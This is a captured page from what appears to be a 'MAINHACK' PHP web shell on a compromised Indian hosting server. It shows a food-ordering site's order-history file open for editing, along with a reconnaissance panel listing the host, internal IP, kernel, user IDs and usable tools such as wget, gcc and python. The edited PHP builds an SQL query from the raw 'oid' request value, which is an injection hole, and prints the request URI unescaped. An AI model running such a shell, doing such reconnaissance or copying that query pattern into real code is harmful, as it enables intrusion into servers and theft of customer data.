[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: orders_all.php
<?php include('header.php');?> <!-- BANNER --> <div class="banner-inner"> <img src="images/inner-banner.jpg" alt="" class="banner-img"> </div> <!-- soon --> <div class="checkout" style=""> <div class="container"> <div class="title-section text-center"> <p class="w3ls-title-sub">History </p> <h3 class="w3ls-title">Order <span> History</span></h3> </div> <div class="row"> <div class="col-md-3 col-sm-3 col-xs-12"> <?php include('user-profile.php');?> </div> <div class="col-md-9 col-sm-9 col-xs-12"> <div class="checkout-box"> <h3>My Order History :</h3> <?php $st="select *,place_order.total as gtotal from bill inner join place_order on bill.order_id=place_order.order_id where place_order.user_id='".$_SESSION['login_id']."' and (bill.order_id='".$_REQUEST['oid']."')"; //echo $st; $stmt=$con->prepare($st); $stmt->execute(); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ $stmt1=$show->readwithdata('menu_items','menu_id',$row['product_id']); $row1=$stmt1->fetch(PDO::FETCH_ASSOC); $img=$row1['image']; extract($row); $mid=$row['maker_id']; $amount=$row['amount']; $gst=$row['gst']; $gtotal=$row['gtotal']; $delivery_charge=$row['delivery_charge']; $sq1=$show->readwithdata('food_maker','maker_id',$mid); while($row1=$sq1->fetch(PDO::FETCH_ASSOC)){ $com_name=$row1['title']; } $extra="and user_id='".$_SESSION['login_id']."'"; $oid=$_REQUEST['oid']; ?> <div class="col-md-12"> <div class="order-history"> <div class="fsat-box-history"> <img src="<?=$pic_img?>/<?=$img?>" class="img-history" alt=""> <h4><?=$row['product_name']?> <span>[<?=$com_name?>]</span></h4> </div> <div class="fsat2nd-box-history"> <label class="hikk"><span>Order No :</span> <?=$row['order_id']?></label> <label class="hikk"><span>Total Amount :</span> <?=$row['price']?>x <?=$row['quantity']?>=<?=$row['price']*$row['quantity']?></label> <label class="hikk"><span>Ordered on :</span> <?php echo date("l ,jS F Y h:i A",strtotime($date)); ?></label> <?php $stmt11=$show->readwithdata_clause('review','menu_id',$row['product_id'],$extra); $num11 = $stmt11->rowCount(); if($num11==0){ ?> <label class="hikk"><a href="given-reviews.php?uid=<?=base64_encode($_SESSION['login_id'])?>&mid=<?=base64_encode($mid)?>&menu=<?=base64_encode($row['product_id'])?>&oid=<?=base64_encode($oid)?>&url=<?=$_SERVER['REQUEST_URI']?>" class="button">Give Review</a></label> <?php } ?> <!--<label class="hikk"><a href="bill_final.php" target="_blank" class="button">Print bill</a> --> </div> </div> </div> <?php } } ?> <div class="col-md-12"> <p class="last-box"> <label class="hikk"><span> Amount :</span> <?=$amount?>/-</label> <label class="hikk"><span> Tax :</span> <?=$gst?>/-</label> <label class="hikk"><span> Delivery Charge :</span> <?=$delivery_charge?>/-</label> <label class="hikk"><span>Total Amount :</span> <?=$gtotal?>/-</label> <label class="hikk"><a href="bill_final.php?bid=<?=base64_encode($_REQUEST['oid'])?>&uid=<?=base64_encode($_SESSION['login_id'])?>" target="_blank" class="button">Print bill</a></label> </p> </div> </div> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619